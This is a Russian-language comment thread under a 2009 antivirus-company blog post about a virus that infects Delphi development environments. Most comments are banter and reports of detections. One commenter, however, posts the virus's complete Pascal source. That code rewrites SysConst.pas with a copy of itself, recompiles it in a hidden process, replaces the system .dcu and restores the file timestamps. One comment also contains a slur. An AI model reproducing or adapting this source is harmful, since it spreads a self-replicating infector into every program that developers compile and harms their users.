SVH Aug 21 2009 at 18:12

Вирус для Delphi

1 min

6.7K

ESET NOD32 corporate blog

+19

Comments 30

int80h Aug 21 2009 at 19:41

Будет забавно когда новая, только вышедшая версия Delphi окажется «из коробки» уже зараженной этим вирусом :)

+10

ekzoman Aug 21 2009 at 19:42

я и все мои знакомые не пострадали.

-2

persei Aug 21 2009 at 19:51

А когда вирус попал в ваши базы? Тоже сегодня? Если да — печально…

persei Aug 21 2009 at 19:51

Простите, просмотрел (18 августа)

Staind Aug 21 2009 at 20:01

Я же писал, что Скайнет грядет и он еще стал на шаг ближе!
И ведь Apple строит ДатаЦенрт не спроста, не спроста…

UFO just landed and posted this here

ruzzz Aug 22 2009 at 00:17

Приколько, хотя и не совсем так. Не заражен, а внедрен на этапе компиляции.

p4s8x Aug 22 2009 at 00:26

Да, собственно то, о чем говорили началось, вирусы заражают вирусы… видать реклама кликающая на рекламу уже незагорами )

elw00d Aug 23 2009 at 22:00

Во времена MS-DOS и засилья вирусов на дискетах с игрушками подобные «бутерброды» из вирусов не были редкостью. :)

ozonar Aug 21 2009 at 20:04

У меня весь колледж заражен этим вирусом, следовательно и все учащиеся, которые уносят программки к себе домой. =)

UFO just landed and posted this here

ozonar Sep 10 2009 at 19:16

Могу скинуть программку, зараженную им

shiko_1st Aug 21 2009 at 20:07

Афайк, он не заражает среду. Он модифицирует sysconsts.pas, компилирует его и подменяет системный .dcu

Goodkat Aug 21 2009 at 23:30

класс!
в детстве я тоже писал вирусы на паскале :)

ruzzz Aug 22 2009 at 00:20

Короче подменяет файлы, используемые компилятором Delphi :)

UFO just landed and posted this here

shiko_1st Aug 23 2009 at 00:28

Не надо мне про специфику Дельфи :-)
А вот про специфику вируса — спасибо. Не имел возможности убедиться лично.

markelov Aug 21 2009 at 20:26

Позновато вы со статьёй :(

Nascosto Aug 21 2009 at 20:54

«Вирус» этот существует давольно давно))
У меня в AIMP сборки 2008 г антивирус с недавних пор начал его находить )))
+1 хочу посмотреть на заражённый не компилированный sysconsts.pas :)))

NikKurkov Aug 21 2009 at 22:43

ничего интересное, банальное определение директории делфи и копирование dcu туда с прописыванием в проджект.

Goodkat Aug 21 2009 at 23:31

эх, жаль. я-то надеялся на исходник вируса на паскале :)

NikKurkov Aug 22 2009 at 00:18

Наслаждайся:

NikKurkov Aug 22 2009 at 00:26

uses windows;



var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',

'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',

'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',

'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',

'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',

'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',

'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',

'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',

'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',

',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',

'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',

')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',

'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',

'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',

'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',

'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',

'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',

'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',

'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',

'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',

'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',

'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',

'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',

'begin st; end.');



function x(s:string):string;

var 

i:integer;

begin 

for i:=1 to length(s) do 

if s[i]=#36 then s[i]:=#39;

result:=s;

end;



procedure re(s,d,e:string);

var

f1,f2:textfile;

h:cardinal;

f:STARTUPINFO;

p:PROCESS_INFORMATION;

b:boolean;

t1,t2,t3:FILETIME;

begin

h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h<>DWORD(-1) then

begin

CloseHandle(h);

exit;

end;

{'I-}assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2,d+'pas');

rewrite(f2);

if ioresult<>0 then 

begin 

closefile(f1); 

exit; 

end;



while not eof(f1) do

begin

readln(f1,s);

writeln(f2,s);

if pos('implementation',s)<>0 then

break;

end;



for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2,''''+sc[h],''',');

writeln(f2,''''+sc[24]+''');');

for h:= 2 to 24 do

writeln(f2,x(sc[h]));

closefile(f1);

closefile(f2);

{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

fillchar(f,sizeof(f),0);

f.cb := sizeof(f);

f.dwFlags := STARTF_USESHOWWINDOW;

f.wShowWindow := SW_HIDE;

b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

DeleteFile(pchar(d+'pas'));

h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

end;



procedure st;

var 

k:HKEY;

c:array [1..255] of char;

i:cardinal;

r:string;

v:char;

begin

for v:='4' to '7' do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

i:=255;

if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

begin

r:='';

i:=1;

while c[i]<>#0 do

begin

r:=r+c[i];

inc(i);

end;

re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

end;

RegCloseKey(k);

end;

end;



begin

st;

end.

VovixLDR Aug 21 2009 at 21:44

Ничего святого у вирмейкеров. Если раньше их можно было с оговорками считать санитарами веба от ламерства, то теперь переключились на программеров. Педерасты.

-3

Mirowind Aug 21 2009 at 21:59

Просто перешли на другой уровень — санитары программеров от ламерства :)

gunya Aug 21 2009 at 22:04

Давно же уже новость была, вот здесь

NikKurkov Aug 21 2009 at 22:42

Кстати, многие популярные программы, например QIP и AIMP, собранные на Delphi, одно время тоже были заражены этим вирусом.

acidtunes Aug 22 2009 at 15:19

Да, Avast сегодня запретил мне запускать qip.exe из-за этого вируса, вылечить не смог. По теме:

«Распространению вируса способствовало то, что версия 8094 популярного мессенджера QIP оказались заражена им (команда разработчиков QIP приносит за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса — это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x — от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значения ошибки не происходит)»

Avton Aug 22 2009 at 13:57

Мне только непонятно, что уже есть даже исходный код, а в базу антивируса добавлен 18 августа, хотя новость на Хабре была 13 августа, а некоторые товарищи говорят, что вирус этот давно уже ходит.

tikondrus Aug 22 2009 at 22:33

в пятницу днем касперский и др. веб его успешно лечили, а вот eset молчал. и вчера было не 18е число. у нод у меня купленый и базы новячие.